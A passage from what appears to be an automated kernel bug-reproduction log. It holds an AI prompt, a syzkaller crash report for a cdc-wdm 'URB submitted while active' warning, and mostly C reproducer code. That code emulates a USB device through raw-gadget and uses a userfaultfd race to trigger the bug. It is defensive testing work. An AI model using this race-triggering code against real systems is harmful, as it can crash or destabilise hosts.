sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.
To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
int res = do_something();
if (res < 0) {
printf("[-] Failed to do_something: %s\n", strerror(errno));
exit(1);
}
printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
systems, makefiles, and kernel build/header directories) is NOT available
on the target test VM guest. Do NOT check for, build, or reference any
compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
functions like 'system()', 'popen()', or the 'exec' family such as
'execve()'). All environment checks, capability probings, and reproduction
steps must be performed directly using standard Linux system calls (such
as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
include a sufficient delay (using sleep or similar) after deleting
or unregistering the device to allow the kernel's asynchronous
timeout to trigger before program exit.
=== PHASE 2: BUG REPRODUCTION (GENERATION) ===
You must now generate a full reproducer candidate attempting to trigger the target bug/crash.
Do NOT generate a probe program. Focus directly on triggering the bug/crash described in the description.
You can assume that all necessary kernel capabilities and privileges (e.g., access to /dev/vhci,
ability to load BPF programs, etc.) have already been verified and are available in the environment.
Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
Strategy: An analysis of the timeout reveals that the reproducer got stuck because the `UFFDIO_COPY` ioctl in the `uffd_thread` failed. The `src` buffer provided to `UFFDIO_COPY` must be page-aligned, but it was allocated on the stack (`char page[4096];`), which does not guarantee page alignment. When `UFFDIO_COPY` fails, the page fault is never resolved, causing `copy_to_user()` in `wdm_read()` to hang indefinitely. Consequently, `service_outstanding_interrupt()` is never called, and the bug is not triggered.
To fix this, we must allocate the `src` buffer using `mmap()` to ensure it is page-aligned.
Here is the corrected C reproducer:
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
void *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
exit(1);
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```
Previous Reproducer Attempt:
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
Execution Results & Debugging Feedback:
The reproducer timed out after 2m30s without triggering the crash.
The strace output shows the program gets stuck in an infinite loop of failing ioctl calls:
`ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)`
This ioctl corresponds to `USB_RAW_IOCTL_EVENT_FETCH` on the `raw-gadget` device (`_IOR('U', 2, struct usb_raw_event)`).
In the kernel's `raw_ioctl_event_fetch()` (`drivers/usb/gadget/legacy/raw_gadget.c`), the ioctl returns `-EINVAL` in two main cases related to the `length` field of the user-provided `struct usb_raw_event`:
1. If `fetch.length > U16_MAX`
2. If `fetch.length < event->length` (the buffer is too small for the pending event).
It appears the C code is not correctly initializing the `length` field of the `usb_raw_event` structure before calling the ioctl (it might be uninitialized garbage or 0). As a result, the event fetch fails, the USB gadget emulation gets stuck in an infinite loop, and the target driver (`cdc-wdm`) is never probed.
To fix this:
1. Ensure that before calling `USB_RAW_IOCTL_EVENT_FETCH`, the `length` field of the event structure is explicitly initialized to the size of the allocated data buffer (e.g., 64).
2. Ensure the USB device descriptors provided in the reproducer correctly match a CDC WDM device (e.g., correct bInterfaceClass, bInterfaceSubClass, and bInterfaceProtocol) so that the `cdc-wdm` driver is actually probed once the gadget is running.
|
| 355/4 |
2026/09/11 23:28 |
